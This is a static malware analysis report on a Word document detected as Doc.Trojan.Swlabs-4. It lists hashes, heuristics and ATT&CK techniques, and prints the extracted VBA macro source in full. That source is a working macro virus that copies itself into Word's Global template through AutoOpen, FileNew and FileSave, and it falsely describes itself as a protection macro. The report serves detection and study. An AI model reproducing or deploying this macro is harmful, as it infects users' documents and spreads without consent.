Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a24fd9445a0cf064…

MALICIOUS

Office (OLE)

37.5 KB Created: 2000-03-27 13:58:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 3e37011bce2f98c0c195a4760dd1a687 SHA-1: 37ca6802af77bb5059910d543395195aefe799eb SHA-256: a24fd9445a0cf064c0a869b4371f9588bba833f1a24bd8e07edd1e142270dbad
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Word document containing VBA macros. The AutoOpen macro attempts to copy itself to the Global template, specifically targeting 'Global:AutoOpen', 'Global:FileNew', and 'Global:FileSave'. This action aims to establish persistence by ensuring the malicious macro executes whenever Word is opened or new files are created/saved. The ClamAV detection further confirms its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Swlabs-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Swlabs-4
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1567 bytes
SHA-256: 16a0ac0b8ca5cc5c52bdd2fe8465ac30e921165d9be3183b0be1b74d6af47bb5
Detection
ClamAV: Doc.Trojan.Swlabs-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Attribute MAIN.VB_Description = "ScanProt macro to install protection macros, disinfect your Normal (Global) template and run the CleanAll macro."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoOpen.MAIN"
Dim FName$
Dim MacName$
Rem SkamWerks Labs Presents the Victory is ours. Created by Cheezhed

On Error GoTo -1: On Error GoTo ErrorHandler

     WordBasic.FileSummaryInfo Subject:="Green Bay Packers -- Super Bowl XXXI Champions"

     FName$ = WordBasic.[FileName$]()
     MacName$ = FName$ + ":AutoOpen"

     WordBasic.MacroCopy MacName$, "Global:AutoOpen"
     WordBasic.MacroCopy MacName$, "Global:FileNew"
     WordBasic.MacroCopy MacName$, "Global:FileSave"

ErrorHandler:

On Error GoTo -1: On Error GoTo AutoOpenHandler
     MacName$ = FName$ + ":AutoOpen"
     WordBasic.MacroCopy "Global:AutoOpen", MacName$
AutoOpenHandler:

On Error GoTo -1: On Error GoTo FileNewHandler
     MacName$ = FName$ + ":FileNew"
     WordBasic.MacroCopy "Global:FileNew", MacName$
FileNewHandler:

On Error GoTo -1: On Error GoTo FileSaveHandler
     MacName$ = FName$ + ":FileSave"
     WordBasic.MacroCopy "Global:FileSave", MacName$
FileSaveHandler:
    
Rem Go Pack Go!

EndCode:

End Sub

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